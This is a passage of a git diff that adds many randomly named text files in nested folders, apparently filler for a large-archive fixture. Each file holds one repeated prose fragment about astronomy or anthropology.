+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_dqaqdxulqvblpc.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_hfxjvcklpxzrldpsldilf.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_hfxjvcklpxzrldpsldilf.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_hfxjvcklpxzrldpsldilf.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_iuzehlff.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_iuzehlff.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_iuzehlff.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_jdsvnxiwyuzctvshmqve.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_jdsvnxiwyuzctvshmqve.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_jdsvnxiwyuzctvshmqve.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_lfrdbtrozdknxilsmkrbqnfk.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_lfrdbtrozdknxilsmkrbqnfk.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_lfrdbtrozdknxilsmkrbqnfk.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_pbbopjwp.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_pbbopjwp.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_pbbopjwp.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_qpdsozdswclzse.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_qpdsozdswclzse.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_qpdsozdswclzse.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_qymelvfacfyrlzeuo.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_qymelvfacfyrlzeuo.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_qymelvfacfyrlzeuo.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_skdwdwozupusvxujwrgj.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_skdwdwozupusvxujwrgj.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_skdwdwozupusvxujwrgj.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_tzqjaupwbnzsvmab.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_tzqjaupwbnzsvmab.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_tzqjaupwbnzsvmab.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_wbtsztqg.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_wbtsztqg.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_wbtsztqg.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_xqqjnrffddpxrxsqvfbb.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_xqqjnrffddpxrxsqvfbb.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_xqqjnrffddpxrxsqvfbb.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_buimdbeqclldf.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_buimdbeqclldf.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_buimdbeqclldf.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dhxavqrmqsgeldgepzb.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dhxavqrmqsgeldgepzb.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dhxavqrmqsgeldgepzb.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_djmyujzivgiiari.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_djmyujzivgiiari.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_djmyujzivgiiari.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dpvfievphieidrozpk.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dpvfievphieidrozpk.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dpvfievphieidrozpk.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dqeivqxdd.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dqeivqxdd.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_dqeivqxdd.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_fkqmgatoxwoonummbjxolnah.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_fkqmgatoxwoonummbjxolnah.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_fkqmgatoxwoonummbjxolnah.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_hkguqayjxqq.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_hkguqayjxqq.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_hkguqayjxqq.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_iehyptxni.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_iehyptxni.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_iehyptxni.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_jmamjncgtrxfgksdhfugax.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_jmamjncgtrxfgksdhfugax.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_jmamjncgtrxfgksdhfugax.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_lqhjsuatdbj.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_lqhjsuatdbj.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_lqhjsuatdbj.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_pcbcvtoc.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_pcbcvtoc.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_pcbcvtoc.txt
@@ -0,0 +1 @@
+planet’s enormous magnetic field, the largest in the solar system, and of its associated belt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_ptzflfcxchslanhphcmeit.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_ptzflfcxchslanhphcmeit.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_ptzflfcxchslanhphcmeit.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_qyhqquwzpcfpihl.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_qyhqquwzpcfpihl.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_qyhqquwzpcfpihl.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_rzglikowcoxfcffw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_rzglikowcoxfcffw.txt
new file mode 100644
index 0000000..e4cb05f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/file_rzglikowcoxfcffw.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_agjrkgsnqudwjckvhb.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_agjrkgsnqudwjckvhb.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_agjrkgsnqudwjckvhb.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_bdikimxellmud.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_bdikimxellmud.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_bdikimxellmud.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_cffbibjfpeimnhxnfkpzluyk.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_cffbibjfpeimnhxnfkpzluyk.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_gqyljgdxysrntejoddidw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_gqyljgdxysrntejoddidw.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_haboizmnrbifszjrivtk.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_haboizmnrbifszjrivtk.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_hdhjpciqbtpxhtf.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_hdhjpciqbtpxhtf.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_kmfskuiagaz.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_kmfskuiagaz.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_knhjvmxnjccitdhntzaosd.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_knhjvmxnjccitdhntzaosd.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
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@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ljotfcrwx.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ljotfcrwx.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ljotfcrwx.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_nfjhibdwi.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_nfjhibdwi.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_nfjhibdwi.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_omyvbsnc.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_omyvbsnc.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_omyvbsnc.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ouldiyewyycny.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ouldiyewyycny.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_ouldiyewyycny.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_sfhreblblpe.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_sfhreblblpe.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_sfhreblblpe.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_thqjkbfdsxuvhm.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_thqjkbfdsxuvhm.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_thqjkbfdsxuvhm.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_zrsmxuss.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_zrsmxuss.txt
new file mode 100644
index 0000000..59d2354
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/file_zrsmxuss.txt
@@ -0,0 +1 @@
+statistical analysis of 400 preindustrial societies and found that cultures that lavish physical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/azkswasjhklbqeefunhuc.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/azkswasjhklbqeefunhuc.txt
new file mode 100644
index 0000000..7c201a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/azkswasjhklbqeefunhuc.txt
@@ -0,0 +1 @@
+luck.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bdsjuraqg.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bdsjuraqg.txt
new file mode 100644
index 0000000..040bd30
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bdsjuraqg.txt
@@ -0,0 +1 @@
+Christian philosophers were fond of arguing that, since the heavens circle the Earth once
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bfgekmncclzgcklzg.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bfgekmncclzgcklzg.txt
new file mode 100644
index 0000000..0d7670a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/bfgekmncclzgcklzg.txt
@@ -0,0 +1 @@
+mammalian natures, and the absence of physical affection to prod reptilian behavior. There
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbrsyygbihjyzjsnupuhofy.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbrsyygbihjyzjsnupuhofy.txt
new file mode 100644
index 0000000..e52995e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbrsyygbihjyzjsnupuhofy.txt
@@ -0,0 +1 @@
+Many years later, Kepler came upon his third and last law of planetary motion, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbuouezmgfw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbuouezmgfw.txt
new file mode 100644
index 0000000..b4c3ec4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fbuouezmgfw.txt
@@ -0,0 +1 @@
+legendary black hole.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_egojcwepqwjgweeigqmenh.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_egojcwepqwjgweeigqmenh.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_egojcwepqwjgweeigqmenh.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_hzguttqqdynqhwucjybdo.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_hzguttqqdynqhwucjybdo.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_hzguttqqdynqhwucjybdo.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_ovzcoxhezikdzngvp.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_ovzcoxhezikdzngvp.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_ovzcoxhezikdzngvp.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_raquomxewfsvrovnxfebpmmn.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_raquomxewfsvrovnxfebpmmn.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_raquomxewfsvrovnxfebpmmn.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suflmzhmwtbnyr.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suflmzhmwtbnyr.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suflmzhmwtbnyr.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suhbwdzfwwtqlfhxpnxpycji.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suhbwdzfwwtqlfhxpnxpycji.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_suhbwdzfwwtqlfhxpnxpycji.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_sunikryrita.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_sunikryrita.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_sunikryrita.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_vzoceufookkgbcyfuddda.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_vzoceufookkgbcyfuddda.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_vzoceufookkgbcyfuddda.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_wnbajwmxlhaxkypbmw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_wnbajwmxlhaxkypbmw.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_wnbajwmxlhaxkypbmw.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_yequsxokg.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_yequsxokg.txt
new file mode 100644
index 0000000..45eec99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/file_yequsxokg.txt
@@ -0,0 +1 @@
+asteroids think it inadvisable to impact an inhabited planet? This is an unlikely forbearance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fyorthpguxkhawswgdhknae.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fyorthpguxkhawswgdhknae.txt
new file mode 100644
index 0000000..11ac76c
--- /dev/null
